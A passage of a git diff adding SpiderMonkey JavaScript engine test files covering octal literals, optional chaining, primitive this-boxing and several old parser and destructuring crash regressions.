+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ for (var k = 0; k < 8; k++)
+ {
+ if (k === 8)
+ {
+ chars.forEach(function(v)
+ {
+ try
+ {
+ eval('0' + v + i + j + k);
+ throw "didn't throw";
+ }
+ catch (e)
+ {
+ assertEq(e instanceof SyntaxError, true,
+ "no syntax error evaluating 0" + v + i + j + k + ", " +
+ "got " + e);
+ }
+ });
+ continue;
+ }
+
+ chars.forEach(function(v)
+ {
+ assertEq(eval('0' + v + i + j + k), i * 64 + j * 8 + k);
+ });
+ }
+ }
+}
+
+// Off-by-one check: '/' immediately precedes '0'.
+assertEq(0o110/2, 36);
+assertEq(0O644/2, 210);
+
+function strict()
+{
+ "use strict";
+ return 0o755;
+}
+assertEq(strict(), 7 * 64 + 5 * 8 + 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/optional-chain-class-heritage.js b/js/src/tests/non262/expressions/optional-chain-class-heritage.js
new file mode 100644
index 0000000000..14a99c6392
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-class-heritage.js
@@ -0,0 +1,10 @@
+// Optional expression can be part of a class heritage expression.
+
+var a = {b: null};
+
+class C extends a?.b {}
+
+assertEq(Object.getPrototypeOf(C.prototype), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain-first-expression.js b/js/src/tests/non262/expressions/optional-chain-first-expression.js
new file mode 100644
index 0000000000..89912aec4a
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-first-expression.js
@@ -0,0 +1,92 @@
+// Verify bytecode emitter accepts all valid optional chain first expressions.
+
+const expressions = [
+ // https://tc39.es/ecma262/#sec-primary-expression
+ "this",
+ "ident",
+ "null",
+ "true",
+ "false",
+ "123",
+ "123n",
+ "'str'",
+ "[]",
+ "{}",
+ "function(){}",
+ "class{}",
+ "function*(){}",
+ "async function(){}",
+ "async function*(){}",
+ "/a/",
+ "`str`",
+ "(a + b)",
+
+ // https://tc39.es/ecma262/#sec-left-hand-side-expressions
+ "a[b]",
+ "a.b",
+ "a``",
+ "super[a]",
+ "super.a",
+ "new.target",
+ "import.meta",
+ "new C()",
+ "new C",
+ "f()",
+ "super()",
+ "a?.b",
+ "a?.[b]",
+ "a?.()",
+ "a?.``",
+];
+
+function tryParse(s, f = Function) {
+ try { f(s); } catch {}
+}
+
+function tryRun(s, f = Function) {
+ try { f(s)(); } catch {}
+}
+
+for (let expr of expressions) {
+ // Evaluate in an expression context.
+ tryRun(`void (${expr}?.());`);
+ tryRun(`void (${expr}?.p());`);
+
+ // Also try parenthesized.
+ tryRun(`void ((${expr})?.());`);
+ tryRun(`void ((${expr})?.p());`);
+}
+
+function inClassConstructor(s) {
+ return `class C { constructor() { ${s} } }`;
+}
+
+for (let expr of ["super[a]", "super.a", "super()"]) {
+ // Evaluate in an expression context.
+ tryRun(inClassConstructor(`void (${expr}?.());`));
+ tryRun(inClassConstructor(`void (${expr}?.p());`));
+
+ // Also try parenthesized.
+ tryRun(inClassConstructor(`void ((${expr})?.());`));
+ tryRun(inClassConstructor(`void ((${expr})?.p());`));
+}
+
+if (typeof parseModule === "function") {
+ const expressions = [
+ "import.meta",
+ "import('')",
+ ];
+
+ for (let expr of expressions) {
+ // Evaluate in an expression context.
+ tryParse(`void (${expr}?.());`, parseModule);
+ tryParse(`void (${expr}?.p());`, parseModule);
+
+ // Also try parenthesized.
+ tryParse(`void ((${expr})?.());`, parseModule);
+ tryParse(`void ((${expr})?.p());`, parseModule);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain-super-elem.js b/js/src/tests/non262/expressions/optional-chain-super-elem.js
new file mode 100644
index 0000000000..3b912a9ada
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain-super-elem.js
@@ -0,0 +1,12 @@
+// Don't assert.
+
+var obj = {
+ m() {
+ super[0]?.a
+ }
+};
+
+obj.m();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/expressions/optional-chain.js b/js/src/tests/non262/expressions/optional-chain.js
new file mode 100644
index 0000000000..0845758022
--- /dev/null
+++ b/js/src/tests/non262/expressions/optional-chain.js
@@ -0,0 +1,263 @@
+var BUGNUMBER = 1566143;
+var summary = "Implement the Optional Chain operator (?.) proposal";
+
+print(BUGNUMBER + ": " + summary);
+
+// These tests are originally from webkit.
+// webkit specifics have been removed and error messages have been updated.
+function shouldBe(actual, expected) {
+ if (actual !== expected)
+ throw new Error(`expected ${expected} but got ${actual}`);
+}
+
+function shouldThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof SyntaxError))
+ throw new Error('Expected SyntaxError!');
+}
+
+function shouldNotThrowSyntaxError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if ((error instanceof SyntaxError))
+ throw new Error('Unxpected SyntaxError!');
+}
+
+function shouldThrowTypeError(func, messagePrefix) {
+ let error;
+ try {
+ func();
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof TypeError))
+ throw new Error('Expected TypeError!');
+
+ if (!error.message.includes(messagePrefix))
+ throw new Error(`TypeError has wrong message!, expected ${messagePrefix} but got ${error.message}`);
+}
+
+function shouldThrowReferenceError(script) {
+ let error;
+ try {
+ eval(script);
+ } catch (e) {
+ error = e;
+ }
+
+ if (!(error instanceof ReferenceError))
+ throw new Error('Expected ReferenceError!');
+}
+
+function testBasicSuccessCases() {
+ shouldBe(undefined?.valueOf(), undefined);
+ shouldBe(null?.valueOf(), undefined);
+ shouldBe(true?.valueOf(), true);
+ shouldBe(false?.valueOf(), false);
+ shouldBe(0?.valueOf(), 0);
+ shouldBe(1?.valueOf(), 1);
+ shouldBe(''?.valueOf(), '');
+ shouldBe('hi'?.valueOf(), 'hi');
+ shouldBe(({})?.constructor, Object);
+ shouldBe(({ x: 'hi' })?.x, 'hi');
+ shouldBe([]?.length, 0);
+ shouldBe(['hi']?.length, 1);
+
+ shouldBe(undefined?.['valueOf'](), undefined);
+ shouldBe(null?.['valueOf'](), undefined);
+ shouldBe(true?.['valueOf'](), true);
+ shouldBe(false?.['valueOf'](), false);
+ shouldBe(0?.['valueOf'](), 0);
+ shouldBe(1?.['valueOf'](), 1);
+ shouldBe(''?.['valueOf'](), '');
+ shouldBe('hi'?.['valueOf'](), 'hi');
+ shouldBe(({})?.['constructor'], Object);
+ shouldBe(({ x: 'hi' })?.['x'], 'hi');
+ shouldBe([]?.['length'], 0);
+ shouldBe(['hi']?.[0], 'hi');
+
+ shouldBe(undefined?.(), undefined);
+ shouldBe(null?.(), undefined);
+ shouldBe((() => 3)?.(), 3);
+}
+
+function testBasicFailureCases() {
+ shouldThrowTypeError(() => true?.(), 'true is not a function');
+ shouldThrowTypeError(() => false?.(), 'false is not a function');
+ shouldThrowTypeError(() => 0?.(), '0 is not a function');
+ shouldThrowTypeError(() => 1?.(), '1 is not a function');
+ shouldThrowTypeError(() => ''?.(), '"" is not a function');
+ shouldThrowTypeError(() => 'hi'?.(), '"hi" is not a function');
+ shouldThrowTypeError(() => ({})?.(), '({}) is not a function');
+ shouldThrowTypeError(() => ({ x: 'hi' })?.(), '({x:"hi"}) is not a function');
+ shouldThrowTypeError(() => []?.(), '[] is not a function');
+ shouldThrowTypeError(() => ['hi']?.(), '[...] is not a function');
+}
+
+testBasicSuccessCases();
+
+testBasicFailureCases();
+
+shouldThrowTypeError(() => ({})?.i(), '(intermediate value).i is not a function');
+shouldBe(({}).i?.(), undefined);
+shouldBe(({})?.i?.(), undefined);
+shouldThrowTypeError(() => ({})?.['i'](), '(intermediate value)["i"] is not a function');
+shouldBe(({})['i']?.(), undefined);
+shouldBe(({})?.['i']?.(), undefined);
+
+shouldThrowTypeError(() => ({})?.a['b'], '(intermediate value).a is undefined');
+shouldBe(({})?.a?.['b'], undefined);
+shouldBe(null?.a['b']().c, undefined);
+shouldThrowTypeError(() => ({})?.['a'].b, '(intermediate value)["a"] is undefined');
+shouldBe(({})?.['a']?.b, undefined);
+shouldBe(null?.['a'].b()['c'], undefined);
+shouldBe(null?.()().a['b'], undefined);
+
+const o0 = { a: { b() { return this._b.bind(this); }, _b() { return this.__b; }, __b: { c: 42 } } };
+shouldBe(o0?.a?.['b']?.()?.()?.c, 42);
+shouldBe(o0?.i?.['j']?.()?.()?.k, undefined);
+shouldBe((o0.a?._b)?.().c, 42);
+shouldBe((o0.a?._b)().c, 42);
+shouldBe((o0.a?.b?.())?.().c, 42);
+shouldBe((o0.a?.['b']?.())?.().c, 42);
+
+shouldBe(({ undefined: 3 })?.[null?.a], 3);
+shouldBe((() => 3)?.(null?.a), 3);
+
+const o1 = { count: 0, get x() { this.count++; return () => {}; } };
+o1.x?.y;
+shouldBe(o1.count, 1);
+o1.x?.['y'];
+shouldBe(o1.count, 2);
+o1.x?.();
+shouldBe(o1.count, 3);
+null?.(o1.x);
+shouldBe(o1.count, 3);
+
+shouldBe(delete undefined?.foo, true);
+shouldBe(delete null?.foo, true);
+shouldBe(delete undefined?.['foo'], true);
+shouldBe(delete null?.['foo'], true);
+shouldBe(delete undefined?.(), true);
+shouldBe(delete null?.(), true);
+shouldBe(delete ({}).a?.b?.b, true);
+shouldBe(delete ({a : {b: undefined}}).a?.b?.b, true);
+shouldBe(delete ({a : {b: undefined}}).a?.["b"]?.["b"], true);
+
+const o2 = { x: 0, y: 0, z() {} };
+shouldBe(delete o2?.x, true);
+shouldBe(o2.x, undefined);
+shouldBe(o2.y, 0);
+shouldBe(delete o2?.x, true);
+shouldBe(delete o2?.['y'], true);
+shouldBe(o2.y, undefined);
+shouldBe(delete o2?.['y'], true);
+shouldBe(delete o2.z?.(), true);
+
+function greet(name) { return `hey, ${name}${this.suffix ?? '.'}`; }
+shouldBe(eval?.('greet("world")'), 'hey, world.');
+shouldBe(greet?.call({ suffix: '!' }, 'world'), 'hey, world!');
+shouldBe(greet.call?.({ suffix: '!' }, 'world'), 'hey, world!');
+shouldBe(null?.call({ suffix: '!' }, 'world'), undefined);
+shouldBe(({}).call?.({ suffix: '!' }, 'world'), undefined);
+shouldBe(greet?.apply({ suffix: '?' }, ['world']), 'hey, world?');
+shouldBe(greet.apply?.({ suffix: '?' }, ['world']), 'hey, world?');
+shouldBe(null?.apply({ suffix: '?' }, ['world']), undefined);
+shouldBe(({}).apply?.({ suffix: '?' }, ['world']), undefined);
+shouldThrowSyntaxError('class C {} class D extends C { foo() { return super?.bar; } }');
+shouldThrowSyntaxError('class C {} class D extends C { foo() { return super?.["bar"]; } }');
+shouldThrowSyntaxError('class C {} class D extends C { constructor() { super?.(); } }');
+shouldThrowSyntaxError('const o = { C: class {} }; new o?.C();')
+shouldThrowSyntaxError('const o = { C: class {} }; new o?.["C"]();')
+shouldThrowSyntaxError('class C {} new C?.();')
+shouldThrowSyntaxError('function foo() { new?.target; }');
+shouldThrowSyntaxError('function tag() {} tag?.``;');
+shouldThrowSyntaxError('const o = { tag() {} }; o?.tag``;');
+shouldThrowReferenceError('`${G}`?.r');
+
+// NOT an optional chain
+shouldBe(false?.4:5, 5);
+
+// Special case: binary operators that follow a binary expression
+shouldThrowReferenceError('(0 || 1 << x)?.$');
+shouldThrowReferenceError('(0 || 1 >> x)?.$');
+shouldThrowReferenceError('(0 || 1 >>> x)?.$');
+shouldThrowReferenceError('(0 || 1 + x)?.$');
+shouldThrowReferenceError('(0 || 1 - x)?.$');
+shouldThrowReferenceError('(0 || 1 % x)?.$');
+shouldThrowReferenceError('(0 || 1 / x)?.$');
+shouldThrowReferenceError('(0 || 1 == x)?.$');
+shouldThrowReferenceError('(0 || 1 != x)?.$');
+shouldThrowReferenceError('(0 || 1 !== x)?.$');
+shouldThrowReferenceError('(0 || 1 === x)?.$');
+shouldThrowReferenceError('(0 || 1 <= x)?.$');
+shouldThrowReferenceError('(0 || 1 >= x)?.$');
+shouldThrowReferenceError('(0 || 1 ** x)?.$');
+shouldThrowReferenceError('(0 || 1 | x)?.$');
+shouldThrowReferenceError('(0 || 1 & x)?.$');
+shouldThrowReferenceError('(0 || 1 instanceof x)?.$');
+shouldThrowReferenceError('(0 || "foo" in x)?.$');
+
+function testSideEffectCountFunction() {
+ let count = 0;
+ let a = {
+ b: {
+ c: {
+ d: () => {
+ count++;
+ return a;
+ }
+ }
+ }
+ }
+
+ a.b.c.d?.()?.b?.c?.d
+
+ shouldBe(count, 1);
+}
+
+function testSideEffectCountGetters() {
+ let count = 0;
+ let a = {
+ get b() {
+ count++;
+ return { c: {} };
+ }
+ }
+
+ a.b?.c?.d;
+ shouldBe(count, 1);
+ a.b?.c?.d;
+ shouldBe(count, 2);
+}
+
+testSideEffectCountFunction();
+testSideEffectCountGetters();
+
+// stress test SM
+shouldBe(({a : {b: undefined}}).a.b?.()()(), undefined);
+shouldBe(({a : {b: undefined}}).a.b?.()?.()(), undefined);
+shouldBe(({a : {b: () => undefined}}).a.b?.()?.(), undefined);
+shouldThrowTypeError(() => delete ({a : {b: undefined}}).a?.b.b.c, '(intermediate value).a.b is undefined');
+shouldBe(delete ({a : {b: undefined}}).a?.["b"]?.["b"], true);
+shouldBe(delete undefined ?.x[y+1], true);
+shouldThrowTypeError(() => (({a : {b: () => undefined}}).a.b?.())(), 'undefined is not a function');
+shouldThrowTypeError(() => (delete[1]?.r[delete[1]?.r1]), "[...].r is undefined");
+shouldThrowTypeError(() => (delete[1]?.r[[1]?.r1]), "[...].r is undefined");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js b/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js
new file mode 100644
index 0000000000..36cc0e9e8b
--- /dev/null
+++ b/js/src/tests/non262/expressions/primitive-this-boxing-behavior.js
@@ -0,0 +1,106 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 732669;
+var summary = "Primitive values don't box correctly";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var t;
+function returnThis() { return this; }
+
+// Boolean
+
+Boolean.prototype.method = returnThis;
+t = true.method();
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+Object.defineProperty(Boolean.prototype, "property", { get: returnThis, configurable: true });
+t = false.property;
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+delete Boolean.prototype.method;
+delete Boolean.prototype.property;
+
+
+// Number
+
+Number.prototype.method = returnThis;
+t = 5..method();
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "5");
+
+Object.defineProperty(Number.prototype, "property", { get: returnThis, configurable: true });
+t = 17..property;
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "17");
+
+delete Number.prototype.method;
+delete Number.prototype.property;
+
+
+// String
+
+String.prototype.method = returnThis;
+t = "foo".method();
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(String.prototype, "property", { get: returnThis, configurable: true });
+t = "bar".property;
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+delete String.prototype.method;
+delete String.prototype.property;
+
+
+// Object
+
+Object.prototype.method = returnThis;
+
+t = true.method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "true");
+
+t = 42..method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "42");
+
+t = "foo".method();
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "foo");
+
+Object.defineProperty(Object.prototype, "property", { get: returnThis, configurable: true });
+
+t = false.property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Boolean.prototype, true);
+assertEq(t.toString(), "false");
+
+t = 8675309..property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== Number.prototype, true);
+assertEq(t.toString(), "8675309");
+
+t = "bar".property;
+assertEq(t !== Object.prototype, true);
+assertEq(t !== String.prototype, true);
+assertEq(t.toString(), "bar");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/expressions/regress-192288.js b/js/src/tests/non262/expressions/regress-192288.js
new file mode 100644
index 0000000000..80e2563bdb
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-192288.js
@@ -0,0 +1,82 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing 0/0 inside functions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192288
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192288;
+var summary = 'Testing 0/0 inside functions ';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return 0/0;
+}
+
+status = inSection(1);
+actual = isNaN(f());
+expect = true;
+addThis();
+
+status = inSection(2);
+actual = isNaN(f.apply(this));
+expect = true;
+addThis();
+
+status = inSection(3);
+actual = isNaN(eval("f.apply(this)"));
+expect = true;
+addThis();
+
+status = inSection(4);
+actual = isNaN(Function('return 0/0;')());
+expect = true;
+addThis();
+
+status = inSection(5);
+actual = isNaN(eval("Function('return 0/0;')()"));
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-346203.js b/js/src/tests/non262/expressions/regress-346203.js
new file mode 100644
index 0000000000..68d2c49077
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346203.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346203;
+var summary = 'Do not crash during destructuring assignment ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var {b:{c:x}}={b:{c:1}}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-01.js b/js/src/tests/non262/expressions/regress-346645-01.js
new file mode 100644
index 0000000000..ac22628946
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty object in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:{} }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-02.js b/js/src/tests/non262/expressions/regress-346645-02.js
new file mode 100644
index 0000000000..e5ba3304b9
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-346645-03.js b/js/src/tests/non262/expressions/regress-346645-03.js
new file mode 100644
index 0000000000..feddf1128f
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-346645-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346645;
+var summary = 'Do not crash with non-empty array in destructuring assign LHS';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('({ a:[z] }) = 3;');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-394673.js b/js/src/tests/non262/expressions/regress-394673.js
new file mode 100644
index 0000000000..8b22e65f68
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-394673.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 394673;
+var summary = 'Parsing long chains of "&&" or "||"';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var N = 70*1000;
+var counter;
+
+counter = 0;
+var x = build("&&")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != N)
+ throw "Unexpected counter: counter="+counter;
+
+counter = 0;
+var x = build("||")();
+if (x !== true)
+ throw "Unexpected result: x="+x;
+if (counter != 1)
+ throw "Unexpected counter: counter="+counter;
+
+function build(operation)
+{
+ var counter;
+ var a = [];
+ a.push("return f()");
+ for (var i = 1; i != N - 1; ++i)
+ a.push("f()");
+ a.push("f();");
+ return new Function(a.join(operation));
+}
+
+function f()
+{
+ ++counter;
+ return true;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/expressions/regress-418051.js b/js/src/tests/non262/expressions/regress-418051.js
new file mode 100644
index 0000000000..c70462e01a
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-418051.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418051;
+var summary = 'Do not assert: (pnkey)->pn_arity == PN_NULLARY && ' +
+ '((pnkey)->pn_type == TOK_NUMBER || (pnkey)->pn_type == TOK_STRING || ' +
+ '(pnkey)->pn_type == TOK_NAME)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("({x:[]}={x}");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-451340.js b/js/src/tests/non262/expressions/regress-451340.js
new file mode 100644
index 0000000000..02da7bb2f3
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-451340.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451340;
+var summary = 'Do no crash [@ CheckDestructuring]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function x([y]) { }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-argsub.js b/js/src/tests/non262/expressions/regress-96526-argsub.js
new file mode 100644
index 0000000000..0be5878afe
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-argsub.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+
+status = inSection(1);
+actual = f(2,1,[1,2,[3,4]]);
+expect = 42;
+addThis();
+
+
+function f(j,k)
+{
+ status = inSection(2);
+ actual = formatArray(arguments[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(3);
+ actual = formatArray(arguments[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(4);
+ actual = arguments[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(5);
+ actual = arguments[2][j][k][z];
+ expect = 42;
+ addThis();
+
+ return arguments[2][j][k][z];
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/expressions/regress-96526-delelem.js b/js/src/tests/non262/expressions/regress-96526-delelem.js
new file mode 100644
index 0000000000..b1fb73836f
--- /dev/null
+++ b/js/src/tests/non262/expressions/regress-96526-delelem.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 29 Oct 2002
+ * SUMMARY: Testing "use" and "set" operations on expressions like a[i][j][k]
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526#c52
+ *
+ * Brendan: "The idea is to cover all the 'use' and 'set' (as in modify)
+ * operations you can do on an expression like a[i][j][k], including variations
+ * where you replace |a| with arguments (literally) and |i| with 0, 1, 2, etc.
+ * (to hit the optimization for arguments[0]... that uses JSOP_ARGSUB)."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 96526;
+var summary = 'Testing "use" and "set" ops on expressions like a[i][j][k]';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var z='magic';
+Number.prototype.magic=42;
+f(2,1,[-1,0,[1,2,[3,4]]]);
+
+function f(j,k,a)
+{
+ status = inSection(1);
+ actual = formatArray(a[2]);
+ expect = formatArray([1,2,[3,4]]);
+ addThis();
+
+ status = inSection(2);
+ actual = formatArray(a[2][j]);
+ expect = formatArray([3,4]);
+ addThis();
+
+ status = inSection(3);
+ actual = a[2][j][k];
+ expect = 4;
+ addThis();
+
+ status = inSection(4);
